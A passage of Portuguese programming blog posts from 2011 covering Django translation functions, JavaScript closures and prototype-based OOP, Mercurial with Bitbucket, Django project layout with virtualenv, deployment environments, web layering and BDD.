são constantemente utilizadas sem que a tradução de um termo seja
necessário de fato.

Por outro lado a função “ugettext()“ traduz a string
instantaneamente, o que é melhor para casos como o de formulários
dinâmicos e views, pois eles não são usados de maneira tão constante
quanto classes de modelo.

Então… utilize ugettext_lazy nos campos e meta-informações dos modelos (onde a tradução pode ser feita sob demanda), e ugettext em métodos, funções e views (onde a tradução tem quer ser “instantânea”).

Referências

Até a próxima…

Afinal, o que são Closures?

Sun, 29 May 2011 13:52:00 GMT

Sabem aqueles conceitos, que a gente sempre utiliza e chega alguém com um nome “pomposo” para a parada (que você nunca ouviu falar)? Isso aconteceu comigo com closures.

What (the hell) are closures?

Entendi o conceito de closures enquanto estudava Ruby. Na verdade, fica a dica… se você quer aprender Orientação a Objetos, aprenda linguagens dinâmicas como Ruby, Python e até mesmo PHP. Depois parta para linguagens mais “hardcore” como Java e C++.

Vamos deixar a Wikipedia nos explicar o que é uma closure:

Uma closure ocorre normalmente quando uma função é declarada dentro do corpo de outra, e a função interior referencia variáveis locais da função exterior. Em tempo de execução, quando a função exterior é executada, então uma closure é formada, que consiste do código da função interior e referências para quaisquer variáveis no escopo da função exterior que a closure necessita.

Ok… sou a favor das pessoas que dizem que é difícil compreender alguns conceitos apenas por parágrafos formados por palavras bem escritas. Vamos ao exemplo:

var digaSeuNome = function(nome) {
  var msg = "Olá " + nome + ". Seja bem-vindo!";
  var exibeMensagem = function() {
    alert(msg);
  };

  exibeMensagem();
};

digaSeuNome("João"); // Olá João. Seja bem-vindo!

Temos uma função definida dentro de outra função. A função interna utiliza de parâmetros e variáveis da função externa… basicamente, este é o conceito de closure.

Não achou muito útil? Dê uma olhada no exemplo abaixo:

var FabricaDeUsuarios = function() {
  var id = 0;
  var criaUsuario = function(nome) {
    id++;
    return {
      id: id,
      nome: nome,
    };
  };

  return criaUsuario;
};

var novoUsuario = FabricaDeUsuarios();
var joao = novoUsuario("João");
var jose = novoUsuario("José");

alert(joao.id); // 1
alert(jose.id); // 2

Utilizamos o conceito de closure no exemplo acima. Abusamos do contexto da linguagem, onde, mesmo que estejamos “chamando” a função fora do escopo de FabricaDeUsuarios, na verdade novoUsuario trata-se de uma referência a função criaUsuario. Logo, ainda estaremos utilizando os recursos do contexto de FabricaDeUsuarios.

Referências

E você… tem algum exemplo bacana sobre closures? Não deixe de comentar.

Como versionar projetos Django com o Mercurial - Parte 2

Sun, 22 May 2011 09:04:00 GMT

Dando continuidade ao post Como versionar projetos Django com o Mercurial, e a série Montando seu ambiente de desenvolvimento Django no Linux, vamos dar uma pincelada nos funcionamentos básicos do Mercurial.

hg? Mas não era Mercurial?

Mercury em português significa mercúrio (nenhuma novidade até aqui), que é um elemento químico com o símbolo Hg e o número atômico 80 (assim disse a Wikipedia (: ). É devido a isso que você utilizará o Mercurial em linha de comando através de comandos iniciados por hg.

Antes de iniciarmos, vamos dizer ao Mercurial quem nós somos. Abra o arquivo .hgrc do seu home:

$ vim ~/.hgrc

É fundamental que nossos commits estejam marcados com nosso nome, e um e-mail para contato. Vamos escrever estas duas informações neste arquivo:

[ui]
username = seu nome < seuemail@provedor.com >

Salve o arquivo, e estamos prontos para iniciar.

Primeiros passos

Os passos que vou exemplificar aqui não são muito diferentes dos que você encontrará na página oficial do Mercurial. Preguiça minha? Talvez… mas você verá que usar o Mercurial é extremamente simples! As dificuldades são as exceções do dia a dia.

Para deixar o exemplo mais interessante, vamos utilizar o virtualenv. Dúvidas? Confira o post Python, Django e virtualenv e visualize aonde pretendemos chegar:

$ cd ˜/Projetos/
$ virtualenv DjangoComHG --no-site-packages

$ cd DjangoComHG

Agora sim, vamos criar um projeto através da seguinte expressão:

$ hg init django-com-hg

Projeto criado… vamos partir para as tarefas mais comuns no Mercurial.

Altere, adicione e “comite”

O Mercurial é DVCS, isto quer dizer que, quando você clonar um repositório remoto você terá uma cópia exata dele em seu computador. Logo, as alterações que você “persistir” estarão disponíveis apenas na sua cópia local. Pode parecer um pouco confuso, mas com o tempo faz todo o sentido.

Para o primeiro commit (persistir nossas alterações localmente) escreva um arquivo .hgignore (saiba mais do que se trata) e um arquivo README:

$ cd django-com-hg/
$ ls -a

.hg     .hgignore     README

A pasta .hg na verdade é quem vai identificar e armazenar todas as informações do nosso projeto. Sem ela, você deixa de ter o controle sobre as versões dos arquivos e subpastas do projeto.

Execute o comando hg status e veja o que aparece… acredito que o resultado seja auto-sugestivo. O Mercurial ainda não sabe o que fazer com os arquivos no projeto, portanto diremos a ele que queremos versionar estes arquivos:

$ hg add .hgignore README

Uma nova execução do hg status vai apontar que os arquivos foram marcados para adição, porém, ainda não foram adicionados. Você vai confirmar está operação através do comando commit:

$ hg commit -m "Primeiro commit com .hgignore"

O parâmetro -m serve para passarmos uma mensagem de descrição do commit que estamos fazendo. Isto facilita na leitura do log de commits realizados:

$ hg log

Estes serão os comandos que provavelmente você usará constantemente enquanto desenvolve.

Compartilhando as suas produções

Logotipo do BitBucket

Se você ainda não tem uma conta no Bitbucket, essa é uma grande oportunidade para fazer uma.

Vamos criar um repositório para praticarmos o comando push. No Bitbucket:

Eu vou dar o nome de “post-django-com-hg” ao repositório, fique a vontade para dar o nome que você desejar;
Escolha o Python como linguagem;
Coloque uma pequena descrição;
Eu vou marcar a opção "Issue tracking", caso haja algum problema com o código e vocês queiram sugerir melhorias.

Confira o resultado.

No repositório local vamos utilizar o comando push com o endereço do repositório no Bitbucket. Isso enviará todas as alterações que persistidas em nosso repositório local para o repositório remoto, mesclando-as com as contribuições de outros usuários envolvidos no projeto:

$ hg push https://bitbucket.org/kplaube/post-django-com-hg

Lembre-se de mudar o endereço acima para o endereço do seu repositório no Bitbucket. Visite a página do seu repositório e veja o que aconteceu… bacana, não?

Mas dessa forma, teremos que sempre executar o comando push informando o endereço do repositório. Vamos deixar esta tarefa mais simples editando o arquivo hgrc dentro da pasta .hg do projeto:

$ cd ~/Projetos/DjangoComHG/django-com-hg/
$ vim .hg/hgrc

Coloque o seguinte:

[paths]
default = https://kplaube@bitbucket.org/kplaube/post-django-com-hg

Lembre-se de mudar o endereço acima para o endereço do seu repositório no Bitbucket.

Pronto! Quando você for “pushear” não precisará mais informar o endereço do repositório remoto.

Altere alguns arquivos… commit. Adicione alguns arquivos… commit. Ao final do dia, dê um push e deixe o resto da equipe saber o que você fez ;)

Referências

No próximo post, vamos concluir a trilogia mostrando uma forma bacana de utilizar o Mercurial para versionar seus projetos Django.

Até a próxima…

Fazendo Javascript OO de forma fácil

Mon, 16 May 2011 20:27:00 GMT

Embora o Javascript (em sua essência) seja orientado a objetos, temos que admitir que ela foge um pouco do convencional através do estilo de escrita prototype. Quero dizer que, é possível utilizarmos conceitos como encapsulamento, herança, atributos e métodos públicos e privados, etc. Mas de uma maneira um pouco diferente se comparada a linguagens como Python ou PHP.

Encapsular para conquistar!

A linguagem é composta por alguns objetos muito utilizados no cotidiano, como os objetos Array, Math e String. Estes (e outros objetos de core) são instâncias do objeto Object, que você pode representar através da seguinte expressão:

var meuObjeto = {};
typeof meuObjeto; // object
typeof Math; // object

Você encontrará uma forma (muito bacana por sinal) de construir objetos através de expressões como essas:

var fooBar = {
  init: function() {
    console.log("Posso funcionar como um inicializador!");
  },
  _private: function(tipo) {
    console.log("Testando chamada " + tipo + ".");
  },
  eggs: function() {
    console.log("Eggs.");
    fooBar._private("interna");
  },
  spam: function(msg) {
    console.log("Spam: " + msg + ".");
  },
};

fooBar.init(); // Posso funcionar como um inicializador!
fooBar.eggs(); // Eggs.

// Testando chamada interna
fooBar._private("externa");

// Testando chamada externa
fooBar.spam("Eggs and Spam"); // Spam: Eggs and Spam

Pode-se observar que é uma prática válida para organizar código através de namespaces.

Referência: Using Objects to organize your code

Função ou Classe?

Já utilizei algumas vezes o modelo acima… mas devo dizer que sou adepto a uma outra forma de construirmos classes em Javascript:

var Pessoa = function() {
  console.log("Pessoa instanciada!");
};

Pessoa(); // Pessoa instanciada!
console.log(typeof Pessoa); // function

var pessoa1 = new Pessoa(); // Pessoa instanciada!
console.log(typeof pessoa1); // object

No exemplo acima, podemos reparar que seguindo o comportamento normal de uma função, não há surpresas na execução da expressão Pessoa. Porém, quando adicionamos o operador new na frente, o Javascript cria uma instância do tipo Pessoa. Basicamente é como se a expressão function fosse “multiuso”, sendo útil para definir funções e classes.

O mais legal disso é que, como você já deve ter reparado, com o uso do new ganhamos de graça um constructor (ou inicializador, como preferir) em nossa classe Pessoa.

Referência: Introduction to Object-Oriented Javascript

Métodos, propriedades e um pouco de confusão

Do construtor em diante, já me deparei com algumas vertentes de implementações do Javascript. Já encontrei algumas bem simples, outras um pouco mais complicadas … vou mostrar aqui a que eu acredito ser a mais usual. Não tenho propriedade para dizer se é o modo certo ou mais elegante, apenas é o modo que incorpora características de OOP que melhor me atendeu:

var Linguagem = function(nome, versao) {
  this.nome = nome;
  this.versao = versao;
};

Acima temos a construção da classe Linguagem. Em seu constructor aproveitamos para setar alguns atributos, como nome e versao, que são passados imediatamente na hora de instanciá-la.

Para criar um método para esta classe, vamos recorrer ao prototype do Javascript:

Linguagem.prototype.descricaoCompleta = function() {
  return this.nome + " vr. " + this.versao;
};

Resumidamente, estamos adicionando um método de instância na estrutura da classe. Fazemos isso adicionando uma função ao prototype da classe. Dessa forma o método terá acesso as propriedades do objeto na hora que for instanciado.

Se tentarmos executar a expressão Linguagem.descricaoCompleta, iremos nos deparar com um erro de método inexistente. Mas, se instanciarmos a classe veremos que o método está acessível:

var python = new Linguagem("Python", "2.7");
console.log(python); // Linguagem
console.log(python.descricaoCompleta()); // Python vr.2.7

Acima utilizamos o conceito de métodos e atributos de instância. Através do modelo object literal podemos ter um comportamento parecido com o conceito de métodos de classe:

var Linguagem = function(nome, versao) {
  this.nome = nome;
  this.versao = versao; // Chamando um método que está fora do prototype da classe
  this.meuId = Linguagem.incId();
};

// Adicionando uma propriedade através de Object Literal
Linguagem.id = 0;

// Adicionando um método através de Object Literal
Linguagem.incId = function() {
  this.id++;
  return this.id;
};

var javascript = new Linguagem("Javascript", "1.5");
console.log(javascript); // Linguagem
console.log(javascript.meuId); // 1

Esta forma de criar classes e objetos em Javascript é executada com muito sucesso na biblioteca RGraph.

Referências: Javascript is Object Oriented Programming

Herdar é preciso

Para entender como criar heranças com o prototype do Javascript, vamos primeiramente criar um tipo chamado Framework:

var Framework = function(nomeFramework, nome, versao) {
  this.nome = nome;
  this.versao = versao;
  this.nomeFramework = nomeFramework;
};

No caso acima, iremos sobrescrever o comportamento do constructor da classe Linguagem.

E é aqui que a mágica acontece… instanciamos o tipo Linguagem no prototype da classe Framework. Isto fará com que o tipo Framework possua todas as propriedades de Linguagem. Depois corrigimos o constructor, apontando ele novamente para Framework:

// Cria herança com Linguagem
Framework.prototype = new Linguagem();

// Corrige o ponteiro do constructor para Framework (está apontando para Linguagem)
Framework.prototype.constructor = Framework;

Vamos adicionar um método exclusivo da classe Framework:

Framework.prototype.feitoEm = function() {
  return this.nomeFramework + " é feito em " + this.nome;
};

Instanciamos algumas vezes a classe Framework, e teremos o comportamento esperado de uma herança:

var django = new Framework("Django", "Python", "2.7");

console.log(django); // Framework
console.log(django.descricaoCompleta()); // Python vr.2.7
console.log(django.feitoEm()); // Django é feito em Python

var jquery = new Framework("jQuery", "Javascript", "1.5");

console.log(jquery); // Framework
console.log(jquery.descricaoCompleta()); // jQuery vr.1.5
console.log(jquery.feitoEm()); // jQuery é feito em Javascript

Existem algumas bibliotecas (como a Mootools) que facilitam a criação de classes e heranças em Javascript.

O exemplo completo está disponível para download em: http://github.com/kplaube/post-javascript-oop

Até a próxima…

Como versionar projetos Django com o Mercurial - Parte 1

Tue, 10 May 2011 21:34:00 GMT

Se você está começando em Django, e nunca utilizou uma ferramenta de controle de versão (as vezes por trauma do SVN ou por simples desinteresse) esta será uma grande oportunidade para você conhecer o Mercurial, e saber a forma que venho utilizando para versionar meus projetos Django.

Peraí! Por que não Git?

Sem dúvida o Git é a ferramenta do momento em se tratando de controle de versões, e vem sendo muito utilizada por rubistas e pythonistas (eu incluso nessa última galera).

Por que não falar de Git aqui? Simples! Você vai ouvir falar sobre Git em todo o lugar. O Google vai te trazer toneladas de informações sobre Git. Você vai “ouvir” o pessoal falando que Git é melhor do que qualquer outra ferramenta. Você vai até enjoar de tanto ouvir falar sobre Git.

O Mercurial foi o primeiro DVCS que utilizei (de verdade). Na minha opinião, ele é mais simples que o Git, é feito em Python, e me atende no desenvolvimento dos meus projetos pessoais.

Concordo com o pessoal que diz que o Git é bom, e concordo com o pessoal que fala que o Mercurial é bom. É perfeitamente possível utilizar estas duas ferramentas, não precisamos ser radicais e iniciar um flame em cima deste assunto. A opção é melhor que não ter opção…

GitHub x Bitbucket

Agora uma coisa eu não posso deixar de concordar: O GitHub é (na minha opinião) melhor que o Bitbucket.

Ambos são repositórios de código na nuvem, o primeiro usando Git e o segundo usando Mercurial. O detalhe é que o GitHub tem algumas funções mais apuradas que o Bitbucket, principalmente as funcionalidades que tornam a ferramenta muito mais “social”.

Embora o Bitbucket recentemente tenha sido adquirido pela Atlassian e tenha recebido uma forte injencão de melhorias… o GitHub ainda é, para mim, a melhor forma de compartilhar código que existe no momento.

Venho utilizando o Bitbucket pela opção de poder manter repositórios de código “fechados”. Coisa que com o “rival” só é possível através de uma conta paga.

Mais uma vez… é perfeitamente possível viver utilizando as duas ferramentas.

Na próxima parte deste post vamos abordar o básico do Mercurial, e também pretendo mostrar como organizo os meus projetos Django “versionando-os” com o Mercurial e Bitbucket.

Até a próxima…

Como organizar seus projetos Django

Mon, 11 Apr 2011 18:11:00 GMT

Pretendo compartilhar com vocês a forma que venho utilizando para organizar meus projetos Django com o uso do virtualenv. Não entrarei em muitos detalhes, até porque você verá que é um procedimento muito simples, mas que poderá garantir melhor organização dos seus projetos e dos seus ambientes de desenvolvimento.

É interessante que você leia o post Python, Django e virtualenv antes de continuar.

Simplesmente um projeto Django

Antes de conhecer (e utilizar) o virtualenv, utilizei algo parecido com o modelo “tradicional” de organização de pastas e códigos em um projeto Django. Ou seja, parecido com aquela estrutura padrão gerada pelo comando django-admin.py startproject.

O modelo é bom, e funcionou para mim durante muito tempo. Mas de uns tempos para cá venho utilizando o esquema abaixo (confira um exemplo real):

mysite/
    apps/
        __init__.py
        eggs/
            fixtures/
                eggs_testdata.json
            tests/
                __init__.py
                models.py
                views.py
            __init__.py
            models.py
            urls.py
            views.py
        core/
            __init__.py
            extras.py
    __init__.py
    manage.py
    settings.py
    urls.py

A diferença principal está na utilização da pasta apps para encapsular as aplicações do projeto, e a criação de uma pasta (ou pacote, como preferir) core. Nesta última, gosto de armazenar snippets de código que serão aproveitados pelo projeto inteiro.

Outro ponto que vale ser notado é a criação de uma pasta chamada tests para cada app. Embora haja casos em que um arquivo tests.py seja o suficiente, podemos nos deparar com um arquivo gigantesco testando vários aspectos de uma app (o que pode dificultar a legibilidade de código). Categorizar os testes por tipo, e em arquivos separados, irá facilitar a adição de novos testes e funcionalidades.

A abordagem dos testes também pode ser utilizada para o urls.py. Quando o seu arquivo de roteamento ficar muito grande, crie uma pasta urls e “quebre” suas rotas em arquivos diferentes. Categorize-os, sinta-se “zen” e nunca mais tenha medo de criar URLs novamente

Comecei a utilizar esta estrutura após “xeretar” alguns projetos Django open source. Posso dizer por experiência própria que é uma prática interessante, e que tem me ajudado muito na organização de código.

O projeto Django com o virtualenv

Tratando-se do ambiente de desenvolvimento (construído pelo virtualenv), já utilizei-o de duas formas:

O environment em uma pasta separada do projeto: Você pode possuir uma pasta “environments” e lá ter diferentes ambientes para diferentes projetos.
O projeto Django ficar dentro da pasta de environment: Você primeiramente constrói um ambiente com o virtualenv, e depois cria um projeto dentro dessa mesma pasta (como demonstrado neste post do Osvaldo Santana).

Particularmente eu prefiro a segunda opção (nunca precisei de 2 environments idênticos). Além de manter todo o seu projeto agrupado, fica mais fácil para criação de scripts de automatização de deploy, por exemplo.

No fim das contas, geralmente a estrutura de pastas dos projetos Django fica assim:

MySiteProject/
    bin/
    include/
    lib/
    mysite/
        apps/
            __init__.py
            eggs/
                fixtures/
                    eggs_testdata.json
                tests/
                    __init__.py
                    models.py
                    views.py
                __init__.py
                models.py
                urls.py
                views.py
            core/
                __init__.py
                extras.py
        __init__.py
        manage.py
        settings.py
        urls.py

E você? De que forma organiza os seus projetos em Django? Conte-nos através dos comentários abaixo!

Até a próxima…

Python, Django e virtualenv

Fri, 18 Mar 2011 19:24:00 GMT

Dando continuidade a série “Montando seu ambiente de desenvolvimento Django em Linux”, vamos dar uma pincelada na tríade Python, Django e virtualenv.

Python

Conheça alguns motivos que lhe convencerão a usar Python.

O Python já vem instalado na maioria das distribuições Linux. Na verdade, até hoje nunca usei uma distro Linux que não tivesse o Python previamente instalado. No Slackware 13.1, o Python está na versão 2.6.4. No Debian 6, o Python está na versão 2.6.6.

O portal Python Brasil possui um excelente material para você instalar e dar os primeiros passos com Python.

virtualenv

A linguagem Python não vem “de bobeira” nas distribuições Linux, ela faz parte delas, sendo utilizada para criação de uma série de scripts fundamentais. Passei por uma situação peculiar com o Python: estava usando o OpenSuse (não recordo a versão) e decidi atualizar a versão do Python utilizando o sistema de pacotes da distro… confirmei algumas operações de remoção (que não deveria ter autorizado) e acabei danificando minha instalação do SO.

Então, para aqueles que programam em computadores pessoais, e não querem comprometer tanto o SO quanto o workspace, podem criar ambientes isolados para os projetos utilizando o virtualenv.

No Slackware vamos instalar o setuptools, que é um framework que facilita a instalação e criação de pacotes Python:

$ wget http://peak.telecommunity.com/dist/ez_setup.py

Para instalá-lo é necessário ser root:

$ python ez_setup.py

Em seguida, vamos instalar o virtualenv com a ajuda do _easy_install_ (que faz parte do pacote setuptools):

$ easy_install virtualenv

Esta é uma forma interessante para você instalar módulos Python em seu sistema sem recorrer ao sistema de pacotes do SO.

Agora, como um usuário comum, vamos criar um ambiente em nosso home para testarmos o virtualenv:

$ virtualenv ~/projeto_django

Entrando nesta pasta, você irá se deparar com três diretórios:

bin: Os executáveis do seu ambiente isolado estarão aí. Você poderá notar o executável python, o easy_install, o pip e um carinha chamado activate (falaremos deste mais tarde).
lib: Nesta pasta você encontrará os módulos e bibliotecas Python utilizadas por este ambiente.
include: Segundo o Osvaldo Santana, dentro desse diretório estão os links simbólicos para todos os headers do Python que são necessário para se compilar extensões escritas em C para ele.

Você apenas criou seu ambiente… para ativá-lo basta dar o seguinte comando:

$ source ~/projeto_django/bin/activate

Pronto! Se você executar o Python agora, você estará utilizando as libs deste ambiente. Isso pode permitir que você mova este ambiente entre máquinas, que você instale libs somente neste ambiente (deixando o Python do seu SO “limpo”, isso pode te garantir maior performance da distro) e que você tenha um controle maior sobre as dependências do seu projeto.

Para “sair” do ambiente, basta executar o comando deactivate:

$ deactivate

Pronto… muito simples, não?

Django

Saiba um pouco mais sobre a programação Python para Web.

Vamos instalar o Django neste ambiente isolado. Ativaremos novamente o virtualenv e usaremos o *easyinstall*_ para nos ajudar com esta tarefa:

$ source ~/projeto_django/bin/activate
$ easy_install django

No final da operação, você irá se deparar com uma saída similar a esta:

Installed /home/user/projeto_django/lib/python2.6/site-packages/Django-1.2.5-py2.6.egg Processing dependencies for django Finished processing dependencies for django

Isto é a garantia que o Django foi instalado dentro deste ambiente, e não está visível para o escopo global da distribuição. Tente importa o Django no terminal interativo do Python da sua distro e do Python do seu ambiente isolado e veja o que acontece…

Entenda o que é o Django e como ele funciona.

Até a próxima…

Diferentes ambientes: Development, Testing, Staging e Production

Mon, 07 Mar 2011 11:37:00 GMT

Uma das práticas mais interessantes nessa “nova onda” de qualidade que está “encrostada” nas práticas agile de desenvolvimento de software, é o uso de diferentes ambientes para diferentes estágios do ciclo de vida de uma aplicação.

Com auxílio da virtualização, podemos implementar (sem dificuldades) estes ambientes em qualquer empresa que tenha como cultura entregar software de qualidade.

Development

Ter um ambiente isolado só seu, onde você possa codificar sem se preocupar com o resto da equipe. Essa é a premissa do ambiente de desenvolvimento.

Em Python, é muito simples construirmos um ambiente isolado em nossas máquinas, isolado até mesmo do nosso SO. Podemos codificar, testar, errar e corrigir, sem afetar diretamente os outros membros da equipe.

Onde eu trabalho atualmente, o ambiente de desenvolvimento é totalmente construído em uma máquina virtual, devido as fortes dependências entre ferramentas como Nagios e RRDTools.

Ao fim do dia (ou de uma feature), você pode “comitar” suas alterações para uma máquina central, comumente chamada de “Integration” (podendo ser o responsável por manter um servidor SVN ou um repositório central quando for um DVCS).

Antes de implantar o método descrito acima, o ambiente de desenvolvimento era um servidor compartilhado onde os membros da equipe trabalhavam simultaneamente (no mesmo ambiente). Funcionou e tenho certeza que funcionaria até hoje, mas acredito que ambientes isolado sejam mais organizados e seguros.

Testing

Quando você possui uma equipe de testes em seu projeto, nada melhor do que montar um servidor onde você possa por à prova as últimas modificações inseridas em sua aplicação.

Como eu nunca tive a oportunidade de trabalhar com pessoas dedicadas a testes, geralmente utilizo o próprio ambiente de staging para testes.

Embora testes unitários e de aceitação sejam amplamente executados em ambiente de desenvolvimento, quando o projeto ficar gigante, executar todos os testes do projeto a cada nova feature desenvolvida pode lhe consumir muito tempo. Neste caso é interessante você construir um servidor de integração contínua.

Na Uptime, trabalhávamos da seguinte maneira: Existia um servidor que era responsável apenas por clonar o repositório central e executar os testes automatizados. Quando um teste falhava, um membro da equipe era notificado, e ele designava alguém para resolver conflitos e problemas. O conceito é o mesmo apresentado no link acima, a exceção é que esse processo era uma tarefa agendada e executava em determinada hora do dia (e não diretamente a cada commit ou em um determinado momento do processo de integração).

Staging

O papel do ambiente de staging é ser o mais próximo da realidade, ou seja, ele deve ser uma réplica perfeita do ambiente de produção. Tratando-se de desenvolvimento web, deve-se utilizar o mesmo serviço web, o mesmo banco de dados, os mesmos módulos e plugins. Isso garantirá um deploy muito mais “suave” para o ambiente de produção.

No meu caso específico, utilizei o ambiente de staging para, além de testar a aplicação em um ambiente mais “real”, demonstrar as features para o cliente. Logo, ele tinha algo real, e com dados que faziam sentido, antes mesmo do projeto ir para o ar.

Ficou mais simples determinar se a solução soluciona o seu problema ou não.

Production

E finalmente, o ambiente de produção.

É neste ambiente que a sua aplicação ganha vida e enfrenta a dura realidade do mundo :)

Referências

Acompanhe a produção dos posts da série Montando seu ambiente de desenvolvimento Django no Linux assinando o Feeds RSS ou me seguindo no Twitter.

Até a próxima…

Montando seu ambiente de desenvolvimento Django no Linux

Thu, 03 Mar 2011 20:16:00 GMT

Vou iniciar uma série de publicações mostrando na prática como montar o seu ambiente de desenvolvimento para trabalhar com Python e Django.

O objetivo é ilustrar como você pode facilmente ingressar no Django e ter um conjunto de ferramentas simples e eficientes que lhe ajudarão a desenvolver de forma produtiva e com qualidade.

Os tópicos serão os seguintes (sujeito a alteração):

Requisitos

Existem centenas (senão milhares) de tutoriais deste tipo espalhados pela web, portanto, para variar um pouquinho vamos usar um ambiente de desenvolvimento diferente:

Sistemas Operacionais: Debian e Slackware

Tux, o mascote do Linux

Embora eu vá utilizar o Debian 6 no ambiente de desenvolvimento, isolarei o ambiente de staging em uma máquina virtual. Nela, terei o Slackware 13.1 “básico”, e a partir daí instalaremos banco de dados e servidor Web.

Não iremos abordar a instalação das distribuições… existem tutoriais suficientes na Web sobre isto.

Banco de Dados: SQLite e PostgreSQL

Para o seu ambiente de desenvolvimento, o SQLite quebra um galho. Pequeno, leve e suficientemente bom para quando você está desenvolvendo suas aplicações com Django. Porém, para ambientes de produção (onde a demanda pode ser grande), o SQLite é pouco recomendado… então podemos escolher (tratando-se de bancos relacionais) entre o MySQL e o PostgreSQL.

Embora eu seja um usuário “fervoroso” do MySQL, a aquisição dele pela Oracle me deixou com a pulga atrás da orelha. Então, vou aproveitar para aprender um pouco mais sobre PostgreSQL enquanto escrevo este tutorial

Servidor Web: Nginx

Aposto que você achou que iríamos utilizar Apache :D

O Nginx é considerado por alguns desenvolvedores o servidor web mais robusto da atualidade. Segundo o Wikipedia, é o quarto servidor web mais utilizado no mundo.

Ótima oportunidade para usá-lo!

Python 2.x e Django 1.x.x

Até a data desta publicação, o Python (2.x) estava em sua versão 2.7.1 (stable) e o Django na 1.2.5 (stable).

Utilizarei a versão 2.6 do Python por ser mais facilmente encontrada nas hospedagens web. Fique livre para escolher o que for melhor para você.

Se você quiser acompanhar a produção destes artigos, assine o RSS ou siga-me no Twitter.

Até mais…

As camadas do desenvolvimento Web

Wed, 16 Feb 2011 15:09:00 GMT

Se eu aprendi alguma coisa com o xHTML, foi: Separar marcação, estilos e comportamento tornam a sua vida muito mais feliz.

Assim como tratando-se de acessibilidade, quando falamos em “camadas de desenvolvimento web“, estamos (a grosso modo) falando de semântica. E nisso, o HTML5 vem nos presenteando com tags supimpas como a section e article.

Vamos conhecer um pouco mais sobre desenvolvimento e padrões web?

Marcação com uma boa dose de semântica

Representação de documentos HTML

Algumas referências vão chamar esta camada de “marcação”, outras vão direto ao ponto chamando-a de “informação”. Eu gosto de pensar que é através da marcação que damos significado a informação.

Este conceito foi fortemente utilizado no xHTML (devido ao seu vínculo com o próprio XML). Para dar significado a nossa informação através de hipertexto, utilizamos o HTML … e nada mais!

É nesta camada que “diremos” às máquinas que determinada parte da nossa informação é mais relevante que a outra, que determinado bloco na verdade é um conjunto de meta-informação ou que o bloco no fim do arquivo contém informações menos relevantes. Sendo mais minucioso, é nesta camada que diremos o que é um parágrafo, o que é um título, um vínculo com outro documento, um trecho de código que mereça ênfase, uma lista não-ordenada que servirá como menu de navegação, etc.

Não importando qual o tipo de sistema que interpretará esta informação (crawlers, navegadores, leitores de e-mail ou leitores RSS), eles sabem (através do padrão HTML) do que aquela informação se trata e como eles devem lidar com ela.

Embelezando com estilos

Ícone representando documento CSS

Antes de fazer minha primeira aula de Tableless, eu nem fazia ideia de quão importante são as folhas de estilos. Você já deve imaginar como eu desenvolvia para a web: WYSIWYG cuspindo tabelas e mais tabelas, com milhares de atributos “font” e “color” espalhados por dezenas de arquivos.

Um trecho de informação ser da cor verde ou azul irá afetar a semântica? Salvo exceções… não.
Um título h1 ser de tamanho 38px vai afetar a semântica? Não.
A imagem de fundo utilizada no topo deste blog altera o siginifcado deste post? Não.
Tabelas posicionarem elementos na tela é algo semântico? Não!

O Tableless, além de defender que as tabelas devem ser usadas apenas para dados tabulares, prega que a informação deve estar separada da formatação. Levando em conta que hoje possuímos vários tipos de navegadores (desktop, mobile, embed, leitores de tela, etc), a informação deveria ser a mesma para todos os navegadores, mas a formatação não.

Com o CSS e as folhas de estilos, aplicar diferentes formatações para um mesmo conteúdo passou a ser trivial. Antes, quando você tinha a formatação mesclada a informação, você era obrigado a reescrever a informação para diferentes formatos.

Outro exemplo, meu leitor RSS não utiliza a formatação que eu escrevi para o meu site … ele utiliza uma formatação própria. Estamos permitindo que nossa informação seja propagada em uma espécie de “acoplamento fraco”. Para o pessoal que curte uma buzzword, essa é a premissa da Web 3.0.

Interação e comportamento

Ícone representando documento Javascript

O Javascript é interpretado pelo navegador. Com ele, nossas aplicações web podem fazer com que o navegador tenha um comportamento (ou interaja com os elementos) de uma maneira diferente da usual.

Por exemplo, podemos fazer uma página inteira ser aberta de forma assíncrona através de Ajax, ou podemos fazer com que nossos formulários sejam validados antes mesmo da informação ser enviada ao servidor. Você pode notar que fazemos com que o navegador interaja com nossa informação de uma forma “fora do padrão”… já ouvi pessoas chamando esta camada de “interação”, outras de “comportamento”. Na minha opinião, a última opção faz mais sentido.

Os seus scripts, assim como os seus estilos, não devem estar “mesclados” com a informação. Pense comigo, se a informação pode ser acessada por leitores RSS, é bem provável que eles não entendam Javascript (ou que não entendam na plenitude de um navegador Web). Certo?

Considerações finais

Mas afinal de contas, como separo as camadas de desenvolvimento? Muito simples:

Informação deve ser sempre acessível, indiferente do estilo ou comportamento da sua aplicação (ou seja, só HTML)
Qualquer espécie de formato que você irá aplicar deve estar contido em folhas de estilo CSS (ou seja, fontes, tamanhos, cores)
Javascript não devem estar misturados com HTML! Nem mesmo em atributos como onClick (com a jQuery isso se torna muito fácil)

Sei muito bem que na prática a coisa pode não ser bem assim. Os navegadores estão preparados para lidar com esse tipo de situação, mas não caia nessa! Separar o seu desenvolvimento em camadas só faz bem para você, para o seu cliente e para a sociedade.

BDD: Desenvolvimento Orientado a Comportamento

Wed, 02 Feb 2011 11:48:00 GMT

Esse post foi originalmente escrito para o Profissionais TI, você pode conferi-lo na íntegra aqui.

No post anterior, introduzi o conceito de TDD. Mas para relembrar, utilizando a prática “baby steps” temos os seguintes procedimentos:

Escreva um teste que falhe;
Escreva um código (rudimentar) para o teste;
Faça o teste passar;
Deixe o código “cheirando bem” (refactoring);
Volte para o primeiro procedimento.

O TDD é focado em testes unitários, onde você isola um modelo (por exemplo) e monta-o de acordo com os testes que você escrever. Quando você tiver um determinado número de modelos, aí você testa a integração entre eles, e assim por diante.

Fazendo uma analogia, isso é mais ou menos como construir o software “de dentro para fora”, onde partimos escrevendo testes específicos (unitários) e depois vamos abrangendo outras regiões do sistema (integração, funcional, aceitação, etc). Já em BDD (Behavior-Driven Development) podemos dizer que o software é desenvolvido “de fora para dentro”, onde os testes são construídos baseados nos requisitos do cliente ou em um roteiro de aceitação (também conhecidos por estórias).

Esta prática é semelhante ao TDD: testes são escritos primeiro, funções depois; O diferencial está que BDD aborda o comportamento e o resultado como um todo, não preocupando-se necessariamente com as classes, métodos e atributos de forma isolada.

Mas então qual usar? TDD ou BDD?

Essa era a minha dúvida. E demorou até cair a ficha

Depois de uma boa conversa com o @andrewsmedina (hoje já faz um tempo que esta conversa aconteceu (: ), captei que pode-se utilizar os dois! Claro! Garanta que a aplicação está indo de acordo com o teste de aceitação escrito, e garanta que a escrita de determinada classe esteja de acordo com os testes unitários criados.

Geralmente trabalho com testes automatizados da seguinte maneira:

Escrevo estórias para determinada tarefa;
